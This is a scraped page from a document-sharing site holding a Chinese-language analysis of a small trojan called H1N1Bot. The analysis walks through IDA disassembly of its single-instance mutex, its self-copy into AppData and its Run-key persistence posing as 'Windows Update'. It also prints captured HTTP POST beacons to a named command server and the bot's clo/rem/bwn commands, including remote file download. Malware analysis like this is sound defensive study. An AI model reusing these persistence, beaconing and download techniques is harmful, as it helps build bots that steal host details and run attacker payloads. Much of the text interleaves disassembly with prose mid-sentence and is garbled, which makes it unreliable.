完整版木馬分析_第1頁
完整版木馬分析_第2頁
完整版木馬分析_第3頁
完整版木馬分析_第4頁
完整版木馬分析_第5頁
已閱讀5頁,還剩3頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

1、完整版-木馬分析一個(gè)木馬的分析 第一次詳細(xì)分析木馬,不足之處請見諒。 這個(gè)木馬一共4KB,是個(gè)比較簡單的程序,所以分析起來也不是很難。下面開始正式分析。 這是程序的主題函數(shù),一進(jìn)來就是三個(gè)初始化的call,然后就是一個(gè)大的循環(huán),程序就是在這個(gè)循環(huán)之中不停的運(yùn)行著。 跟進(jìn)第一個(gè)call: 函數(shù)首先創(chuàng)建了一個(gè)hObject變量用于存放創(chuàng)建的互斥對象句柄。mov ebp+hObject, start proc near eax就是將創(chuàng)建的互斥句柄傳送到call sub_401481hObject中。這里是創(chuàng)建了一個(gè)名為 call sub_401092 H1N1Bot的互斥對象。然后調(diào)用 call s

2、ub_4011AE loc_4014C4: GetLastError得到錯(cuò)誤碼這里加call sub_4013D5 入程序已經(jīng)有一份實(shí)例在運(yùn)行了則 call sub_40143F push 0EA60h ; 這個(gè)互斥對象就是創(chuàng)建過了的就是dwMilliseconds 得到錯(cuò)誤代碼為0B7h的值。通過查 call Sleep 詢msdn發(fā)現(xiàn):0b7h含義是Cannot jmp short loc_4014C4 start endp create a file when that file already exists.所以這樣就防止了木馬程序同時(shí)打開了多份。當(dāng)返回值是0B7h的時(shí)候調(diào)用ExitP

3、rocess退出程序??偨Y(jié)來說這個(gè)call就是檢查程序是否已經(jīng)打開要是打開過了就退出。 進(jìn)入401092的call,由于這hObject = dword ptr -4 個(gè)函數(shù)代碼過多,就不貼詳細(xì)的.text:00401481 代碼了。函數(shù)定義了兩個(gè)局部字.text:00401481 push ebp 符串?dāng)?shù)組ExistingFileName,.text:00401482 mov ebp, esp String2(這里是ida分析給出的名.text:00401484 add esp, 0FFFFFFFCh 字)和一個(gè)文件指針。函數(shù)先將.text:00401487 push offset Name

4、 ; 這兩個(gè)數(shù)組用零填充,然后調(diào)用H1N1Bot GetModuleFileNameA得到當(dāng)前.text:0040148C push 0 ; 程序的完整路徑,并將結(jié)果存放bInitialOwner 在ExistingFileName中。在調(diào)用.text:0040148E push 0 ; SHGetFolderPathA并將結(jié)果存lpMutexAttributes 放在String2中。 .text:00401490 call CreateMutexA SHGetFolderPathA可以獲.text:00401495 mov ebp+hObject, eax 取系統(tǒng)文件夾,這里他的參數(shù)值.t

5、ext:00401498 call GetLastError 是0x1c。 .text:0040149D cmp eax, 0B7h Const .text:004014A2 jz short loc_4014A6 CSIDL_LOCAL_APPDATAH1C調(diào)用ExitProcess退出程序. (用戶)本地設(shè)置應(yīng)用程序數(shù).text:004014A4 leave 據(jù)。即如果以administration身.text:004014A5 retn 份登錄獲得的是C:DocumentsandSettingsAdministratorLocal SettingsApplicaton Data路徑。 然

6、后調(diào)用lstrcatA這個(gè)函數(shù)在String2的后面加上winvv.exe。然后比較String2和ExistingFileName是否相同,不同則把自身復(fù)制到ExistingFileName中,最后運(yùn)行復(fù)制 過去的文件,自身退出。 總體來講第二個(gè)call就是路徑檢查的。 3. 進(jìn)入4011AE的call,這個(gè)函數(shù)就是實(shí)現(xiàn)程序的開機(jī)運(yùn)行,手法也很簡單。就是在注冊表中創(chuàng)建鍵值。位置在SoftwareMicrosoftWindowsCurrentVersionRun,鍵值叫做Windows Update,其迷惑作用。 4(下面我們進(jìn)入這個(gè)木馬的核心程序。大循環(huán)。4013D5的call sub_40

7、13D5 proc near lpString = dword ptr -4 push ebp mov ebp, esp add esp, -4 push 40h ; flProtect push 1000h ; flAllocationType push 512 ; dwSize push 0 ; lpAddress call VirtualAlloc ; 申請內(nèi)存 mov ebp+lpString, eax ; 內(nèi)存首地址存到局部變量里 mov dword ptr eax, edom add eax, 4 mov dword ptr eax, i&2= add eax, 4 mov dwo

8、rd ptr eax, tned add eax, 4 mov byte ptr eax, = inc eax ; 向buffer中填充mode=2&ident=(注意順序) push eax push eax ; lpString call sub_40138B ; 向buffer追加當(dāng)前系統(tǒng)用戶名,并返回用戶名長度 mov ecx, eax pop eax add eax, ecx push eax ; eax始終保持指向字符串的末尾 push eax ; lpString call sub_4013B0 ; 獲取計(jì)算機(jī)名,并追加到buffer中,返回計(jì)算機(jī)名長度 push ebp+lpS

9、tring此時(shí)buffer內(nèi)容為mode=2&ident=AdministratorPC-201008252144 push ebp+lpString ; lpString call sub_401000 關(guān)鍵call push 8000h ; dwFreeType push 0 ; dwSize push ebp+lpString ; lpAddress call VirtualFree 程序首先構(gòu)造了一個(gè)字符串mode=XX&ident=XX(XX表示生成的數(shù)據(jù)),然后調(diào)用401000的函數(shù)。這個(gè)函數(shù)是構(gòu)造了一個(gè)網(wǎng)絡(luò)請求,并向指定的網(wǎng)站發(fā)送post請求。用到的函數(shù)有InternetOpen

10、A,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile。 用抓包軟件可以分析出我電腦上post的數(shù)據(jù). POST /admin/bot.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: myAgent Host: mmmbsbt.co.cc Content-Length: 26 Cache-Control: no-cache mode=2&ident=studentCSE029 (studentCSE029為我電腦上

11、的用戶名) 此時(shí)對方并未返回?cái)?shù)據(jù),可能只是需要向服務(wù)器post一下數(shù)據(jù)而已。 到此這個(gè)大函數(shù)的任務(wù)完成,于是返回。 然后進(jìn)入40143F的函數(shù)。 sub_40143F proc near lpString = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFFCh push 40h ; flProtect push 1000h ; flAllocationType push 200h ; dwSize push 0 ; lpAddress call VirtualAlloc 申請緩沖區(qū) mov ebp+lpString, eax push

12、ebp+lpString ; int push offset String ; mode=1 call sub_401000 調(diào)用post數(shù)據(jù)的函數(shù) push ebp+lpString ; lpString call sub_40134E ; 處理命令 push 8000h ; dwFreeType push 0 ; dwSize push ebp+lpString ; lpAddress call VirtualFree leave retn sub_40143F endp 這個(gè)函數(shù)也只有兩個(gè)重點(diǎn)處,調(diào)用0x401000處的函數(shù),這個(gè)函數(shù)剛剛用過,傳入兩個(gè)參數(shù),函數(shù)將服務(wù)器返回的數(shù)據(jù)存放在第

13、一個(gè)參數(shù)中,第二個(gè)參數(shù)僅僅是需要post的數(shù)據(jù)。 POST /admin/bot.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: myAgent Host: mmmbsbt.co.cc Content-Length: 6 Cache-Control: no-cache mode=1 這是post的數(shù)據(jù),mode參數(shù)變成了1,但是服務(wù)器什么也沒返回。所以返回?cái)?shù)據(jù)只能之際分析程序了。 下面我們進(jìn)入處理服務(wù)器返回?cái)?shù)據(jù)的函數(shù)0x40134E。這是這個(gè)函數(shù)的流程圖。接收到的命令有三種clo,rem,bwn。 當(dāng)命令為clo,調(diào)用0x401346處的函數(shù),就是調(diào)用ExitProcess退出程序。 當(dāng)命令為rem,先調(diào)用0x40117A處的函數(shù),再調(diào)用0x401346處的函數(shù)。 當(dāng)命令為bwn,調(diào)用0x4012A1處的函數(shù)。 0x40117A處的函數(shù)是清楚開機(jī)運(yùn)行的注冊表信息。 0x4012A1處的函數(shù): 從參數(shù)中分解出需要下載的文件字符串和下載后存儲(chǔ)的文件名,然后調(diào)用URLDownloadT

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論